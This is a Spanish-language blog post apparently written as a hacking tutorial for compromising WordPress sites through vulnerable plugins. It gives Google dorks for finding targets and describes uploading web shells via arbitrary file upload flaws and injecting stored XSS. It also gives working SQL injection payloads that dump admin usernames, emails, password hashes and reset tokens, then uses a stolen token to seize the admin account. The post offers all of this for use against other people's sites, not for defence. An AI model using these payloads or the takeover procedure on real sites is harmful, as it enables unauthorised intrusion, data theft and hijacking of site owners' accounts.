WordPress ¿Qué es?
WordPress es un sistema de gestión de contenido (en inglés Content
Management System, o CMS) enfocado a la creación de blogs (sitios web
periódicamente actualizados). Desarrollado en PHP y MySQL, bajo licencia
GPL y código modificable. WordPress se ha convertido junto a Movable
Type en el CMS más popular de la blogosfera y en el más popular con
respecto a cualquier otro CMS de aplicación general. Las causas de su
enorme crecimiento son, entre otras, su licencia, su facilidad de uso y
sus características como gestor de contenidos.
WordPress ¿Objetivo de Hackers?
Según Wikipedia: WordPress es usado por más del
16,7% en el rank Alexa Internet "top 1 million" de sitios web y en
agosto de 2011 gestiona el 22% de todos los nuevos sitios web.
Esto y debido a los miles de plugins y temas disponibles para WordPress,
no hace falta decir que los programadores han codificado
descuidadamente una parte equitativa de estos y que las posibilidades de
una mayor escalada de privilegio para el hacker si encuentra un sitio
web utilizando un plugin explotable o no actualizados . Estos pueden ir
desde las vulnerabilidades de tipo SQLi a LFI de la que voy a explicar
más abajo. Pero en términos más simples un plugin web explotable
eventualmente puede conducir a la administración y el acceso total al
servidor.
¿Cómo encontramos sitios web que utilicen WordPress?
Usando dorks simples que pueden ser eficaces, por ejemplo:
- intext:"Proudly powered by WordPress. "
- intext:"Powered by WordPress. "
Además, podemos utilizar la ruta de configuración estándar de WordPress, utilizando la siguiente dork:
- inurl: /wordpress/wp-content/plugins/
Esto encuentra un montón de sitios web de WordPress con los listados de
directorios habilitados. Podemos navegar por el directorio y tomar nota
de los plugins que utiliza el servidor. Esto es parte del proceso de
enumeración, una vez que hemos tomado nota de lo plugins nos dirigimos a
exploit-db en busca de exploits para dichos plugins.
¿Cómo explotamos sitios WordPress? Ejemplos reales:
1) Arbitrary File Upload: Easy Comment Uploads - Version - 3.2.1, usamos la siguiente dork:
- inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php
Apreciaremos el sitio web de la siguiente forma:
Después de eso, es muy sencillo subir y localizar nuestra shell, solo queda disfrutar de ella.
2) Stored XSS: Version 3.2.3, usamos la siguiente dork:
- inurl:/wp-content/plugins/count-per-day/notes.php
Apreciaremos el sitio web de la siguiente forma:
Podemos inyectar cualquier codigo javascript (XSS) la cual
automaticamente se almacenara en el stored. El archivo "notes.php" no se
limita solo a los administradores, por lo tanto cualquier persona puede
acceder al archivo.
3) Arbitrary File Upload: Custom Content Type Manager, usamos la siguiente dork:
- inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php
Apreciaremos el sitio web de la siguiente forma:
Desde ahí se puede subir una shell, pero tenemos que cargarlo como una
extensión de imagen (JPG/PNG/GIF). Para acceder a la shell, la
encontraremos de la siguiente manera:
- http://www.sitio-web.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg
4) SQL Injection: Wordpress HD Webplayer - Version 1.1, usamos la siguiente dork:
- inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=
Apreciaremos el sitio web de la siguiente forma:
Desde ahí se puede hacer una inyección básica, en primer lugar nos
encontramos con las columnas, digamos que tiene 11, entonces inyectamos
de la siguiente manera:
- videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7,8,9,10,11+from+wp_users
Luego, por supuesto, una vez que se ha inyectado vamos a obtener los datos del administrador:
Esta vulnerabilidad se puede utilizar cuando tenemos un sitio web WordPress vulnerable a SQL Injection, la cual podemos obtener los datos administrativos como son el USUARIO, E-MAIL y PASSWORD,
pero como ya sabemos y apreciamos en la imagen anterior, todo PASSWORD
de WordPress estan encryptadas de una manera que es muy dificil de
desencryptar, para ello usaremos esto metodo que consiste en Resetear el
Password con el usuario o e-mail administrativo, la cual obtendremos un
Token con lo que facilmente podemos cambiar la contraseña
administrativa.
Obtendremos el user_login y user_email de la siguiente manera:
- /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users
Obtenido el usuario o e-mail nos dirigimos a www.sitio-web.com/wp-admin y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail
Presionaremos en "Get New Password" la cual el sitio web enviara
una codigo de activacion (Token) entonces como es logico, dicho Token
se almacena en la DB, por lo tanto obtendremos dicho codigo de la
siguiente manera:
- /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users
Obtenido dicho Token, solo nos faltaria restablecer la contraseña, para ello nos dirigimos al siguiente link:
- http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario
Remplazamos "Token" y "Usuario" por lo datos que nos arroja la DB, por ejemplo:
- http://www.sitio-web.com/wp-login.php?action=rp&key=RXr7T7lplszV&login=admin
Por lo que obtendremos la opcion de restablecer la contraseña facilmente, como vemos en la siguiente imagen:
6) Full Path Disclosure (FPD), usaremos la siguiente dork:
- inurl:"/wp-includes/
Apreciaremos el sitio web de la siguiente forma:
Dando click en cualquiera de los archivos, facilmente el sitio web nos mostrara el Path (ubicacion) de sus archivos.
Ejemplo:
Mayormente esta Vulnerabilidad lo tienen el 80% de todos los sitios
WordPress, pues facilmente podemos ir a cualquier sitio (WordPress) y
diriginos a /wp-includes/ para apreciar dicha vulnerabilidad.
7) Fingerprinting WordPress version:
Este metodo sirve para obtener las versiones correcta de un sitio WordPress, para ello existen muchas herramientas como son:
Esas herramientas aparte de obtener la versión de WordPress de la página
web, tambien puede obtener información sobre las versiones de los
plugins instalados y compara su versión a la última y más a la versión
de los datos disponibles en la actualidad que indica si puede ser
vulnerable o no.
Es todo por ahora.
Saludos.
No hay comentarios:
Publicar un comentario